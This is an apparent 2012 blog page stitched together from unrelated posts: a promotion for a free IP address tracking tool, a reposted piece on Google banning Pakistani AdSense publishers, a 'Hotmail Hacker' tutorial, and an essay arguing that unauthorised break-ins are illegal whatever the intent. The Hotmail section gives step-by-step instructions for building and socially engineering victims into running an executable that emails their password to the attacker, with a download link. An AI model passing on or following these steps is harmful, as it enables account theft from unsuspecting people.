INFORMATION TECHNOLOGY
Saturday 17 November 2012
IP Address Management Tool!
Toss Your Spreadsheets Into the Recycling Bin!
Free IP Address Management Tool!
Does managing your IP address space with spreadsheets remind you of a visit to the dentist? Necessary, but usually painful? As if keeping the network running in tip-top condition wasn’t enough, you have to spend precious time wading through home-grown IPAM tools to track down conflicting addresses and to see which ones are free. Well, no more – you can finally ditch your spreadsheet (and even start to enjoy IP address management)!
Our free IPAM tool, IP Address Tracker, frees you from the evils of spreadsheets, delivering powerful and simple-to-use features that give you a unified view of your IP address space and the tools to manage it – all for free!
Send your spreadsheet to the recycle bin – download the free IP Address Tracker today!
Our free IPAM tool, IP Address Tracker, frees you from the evils of spreadsheets, delivering powerful and simple-to-use features that give you a unified view of your IP address space and the tools to manage it – all for free!
Send your spreadsheet to the recycle bin – download the free IP Address Tracker today!
IP Address Tracker Highlights:
- Track an unlimited number of IP addresses for a unified, at-a-glance view of your entire IP address space
- See which IP addresses are in use – and which are not
- Eliminate manual errors, while ensuring that IP addresses are listed in the right place
Additional IP Address Management Features:
- Determine the last time an IP address was used
- Pre-populate key statistics like DNS and response time
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Friday 16 November 2012
Future of Adsense in Pakistan
Future of Adsense in Pakistan By Aamir Attaa · Tuesday, Oct 25, 2011
It’s dark, and you know it well – just in case if you aren’t aware of recent massacre by Google then the information for you is that Google has banned hundreds of Pakistani adsense accounts by giving odd reasons to each of them, majority of which didn’t make sense to a common man.
Like all businesses – at times Google plays unfair, and it’s fair on their part to save themselves and their stakeholders. Let me give you examples,I know of this Pakistani website which is displaying adsense ads and it should get banned by all definitions and terms of services, but it’s not banned. Reason: This website serves more than 100 million impressions a month.
I am sure this website in question would have a dedicated support engineer deputed to take care of the matters concerning to it.
On other hands, I know of this another website which recently got banned by adsense, just because the website was displaying ads below navigation bar. Which is weird because Google itself preaches publishers to place ads below navigation bar for high CTR.
Another ban reason for thousands of publishers, over the years, is fraud click. They ban the publisher for life, meaning that a publisher banned for fraud click can never participate in adsense for whole life.
I am just wondering, isn’t it possible for Google (a company that spends billions of dollars for research and development) to not to allow second click on adsense ads whenever it is done by same IP and/or same cookie?
Or can’t they cap clicks done in certain duration? For instance if I am given an option to not to allow more than one click from one IP in one week (even if it has multiple users on one network) – I would definitely go for it. I am sure many would opt for it – to avoid permanent ban.
I understand that there would be people asking their FnF including aunts and little cousins to click on their ads, sure go ahead and ban them. But what about those publishers who have been religiously following your TOS and one day someone from their competition comes in and starts click bombing their ads, assumingly from same IP?
Will you ban him/her? You sure will. I have seen such cases myself.
This is how exposed Google adsense is to exploiters.
So like any other business, adsense has loopholes, which can’t be filled. Google has purposefully kept these loopholes to keep itself secured.
Talking specifically about the recent mass-ban of Pakistani publishers – it was our fault too. Like we mentioned in our past post, we Pakistanis vigorously copied international blogs to setup websites. Then did hefty amount of SEO to bring in traffic and monetized it through adsense. Which isn’t legit in many ways.
So all those content lifters sank, not alone but drowned many legit publishers along with them.
Why Pakistan was Targeted?
Have you read my this article: Why Does a Pakistani Website Earn 32 Times Lesser than any American Counterpart?
If not – then please go ahead and read it to understand that Pakistani traffic is of not much value to advertisers.
To put it in simple words: Pakistanis can’t buy products online (due to lack of ecommerce infrastructure), the ads we see are for the free services or (product) information only. This equation translates into a situation where reader/website visitor won’t make money for advertiser.
For many this is fine, for others – this is just the loss of advertising budget, i.e. no return on investment at all.
Coupled with this if content is replicated over hundreds of websites, then why a network like adsense won’t target Pakistanis in particular? I hope you have the answer.
What’s next?
I know it’s ugly, but if Google was your primary source of revenue then you are done. You need to get over with it. You can’t convince Google that you are a legit blogger (even if you are) who puts plenty of effort for generating content. Google won’t listen to you – you need to believe this hard fact, they are least concerned.
I have spoken with some senior people at Google and they are not bothered with whatever perceptions we have got for Google.
There are chances that Google won’t even reply you, or if they do – it will be a pre-drafted email with meaningless and negative message.
So it’s better to re-plan your monetization policy, by either switching to other networks (just like Hamad explained here) or by giving up with it.
For many they deserved this – for others it’s bitter reality and hard luck, the unfortunate end that’s attached with online business models.
Can we Expect a Better Internet After This?
Considering that easy money is gone, all those content lifters will be go away with only legit bloggers left for quality content. This is somewhat better than it was before. Not that we are happy with the situation – but everything happens for good, that how I believe in Allah.
A Local CPM network
is what we need. We saw many local ad networks coming in with big claims, but no one could survive. I will discuss the reasons in a separate post – but to understand that survival of local digital industry, we must get a good CPM network up running in next 6-12 months. Or the local content that brag about will go down the drain.
HACK HOTMAIL ACCOUNTS : HOTMAIL HACKER
I had previously discussed about Gmail Hacker to hack Gmail accounts. Likewise, this software can hack Hotmail accounts. Just follow the steps below:
1. Extract the RAR archive in a separate folder.
2. Run Hotmail Hacker Builder.exe file on your computer.
3. Enter your email address, password and subject of email you wanna receive. I suggest you to create a new email ID for this. You can use Gmail or Yahoo but avoid using Hotmail account. This email will contain the password you wanna hack. Also select appropriate smtp server address. The default smtp server address 587 is of gmail. You can google for smtp server addresses or can find it here. Also, write a fake error message to display on the screen or leave it default.
4. Click on "Build". This will create your own Hotmail hacker in Hotmail hacker folder.
5. Now, send this Hotmail Hacker.exe file to victim of which you wanna hack Hotmail password and convince him that this program can hack anyone's Hotmail password (lil bit of Social Engineering).
6. Ask him to run Hotmail Hacker.exe and enter all information including his Hotmail ID and password and Hotmail ID of victim he wanna hack. As he enters this information and hits "Login and Start", he will receive a error message.
7. You will receive an email in your account containing his password. Hooray!!! you will now be able to hack hotmail password. Enjoy!!!
Download here:
http://www.mediafire.com/download.php?zjogjlw0ndm
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"Cracker - This is the common term used to describe a malicious hacker. Crackers get into all kinds of mischief, including breaking or "cracking" copy protection on software programs, breaking into systems and causing harm, changing data, or stealing. Hackers regard crackers as a less educated group of individuals that cannot truly create their own work, and simply steal other people's work to cause mischief, or for personal gain."
"Hacker - This is someone that seeks to understand computer, phone or other systems strictly for the satisfaction of having that knowledge. Hackers wonder how things work, and have an incredible curiosity. Hackers will sometimes do questionable legal things, such as breaking into systems, but they generally will not cause harm once they break in. Contrast a hacker to the term cracker."
Looks good. These are definitely two different types of people, so I understand why a hacker would get upset at being called a cracker. This is the part that gets me, though: "Hackers will sometimes do questionable legal things, such as breaking into systems, but they generally will not cause harm once they break in." I have a few problems with this.
1. Generally? "He breaks into cars and joyrides, but he generally returns them."
2. Questionable legal things? No, breaking into systems one does not own is unquestionably illegal in the U.S.
3. Even so, let's assume the hacker does nothing illegal. How is a company supposed to know the difference between the hacker and the cracker?
Follow me for a minute here: I own a company, NetNut, and it has a computer connected to the internet. Stored on this computer is my secret data. Rufus T. Wanklehacker wakes up one morning and decides to try to break into NetNut's computer. He finds a security hole and succeeds. After he is done, he restores the computer the state he found it in and reports the security flaw to NetNut, so they can fix it. Across the street, MaCooter Q. Buttcracker is just getting up. He decides he'd like to get a piece of that secret data of mine. So he breaks into NetNut's computer and gets the data. He then restores the computer to the state he found it in, and just in case there are any audit logs he doesn't know about, reports the security hole(s) he found when breaking in. In this way he can claim he is just a harmless hacker and avoid prosecution, so long as no one finds out he looked at secret data.
See where I'm going with this? This is not an implication that all hackers have malicious intent. I'm all for the idea of peer-review, publication of security flaws, open-source, etc. But when a hacker breaks into a live system and wants a company to "take his/her word" that no harm will come of it... please. No harm will come of it if the person is truly a harmless hacker, but why would a company want to take the risk?
My question is this: What does a hacker want from the law? Why should a company, after receiving an email about a security flaw from a hacker who broke in, trust that the hacker did not do anything to harm the company? Why should a legal deterrant not come into effect until the company starts losing money? An analogy: "Stealing cars should not be illegal. The owner of the car should not be able to prosecute until the car is actually sold on the black market." Long story short, a cracker is a malicious hacker (see definition above). Malice is not the most measureable aspect of a person. So until the CIA with its drug tests figures out how to determine the exact level of malice in a person's brain, hackers are going to have to find a more obvious way to differentiate their actions from that of crackers if they expect the law, the media, and the corporations not to come down on them.
Here are a list of potential responses:
1.
Response - About the stolen car...
Rebuttal - It's an analogy. I know that a computer user can still use the computer if it is broken into, but a car owner can't drive a car if someone else is driving it. The point is that the car owner never gave permission to anyone to use his car. A better analogy is a house. There's a reason we have laws against breaking and entering in addition to locks on doors. What makes a computer so different?
2.
Response - I'm a hacker and I don't break into sites uninvited. I only reverse engineer software, break into my own systems or my friends' systems, work for a security consulting firm, shoot myself in the junk with a dart gun, etc.
Rebuttal - Then I'm not talking about you. I'm talking about the hackers who break into someone else's system without permission.
3.
Response - On Smarch 32nd, 1989, Ronald M. Jobjob was aquitted of charges of breaking into a computer system on the grounds that he only elevated his privilege level, or was abused as a child, or whatever, so breaking into computer systems is legal.
Rebuttal - Sometimes people get away with doing something that is illegal. Sometimes people are found guilty of a crime they did not commit. In this country though, people are rarely charged with crimes that do not exist (I know some people can probably think of a few straw man examples against this, but they are rare). I work for a large corporation, and I have regularly seen it successfully prosecute people who work for the company and are caught trying to crack passwords or other such hacker activities. Breaking into computers is as illegal as breaking into homes (not the penalty, the legality).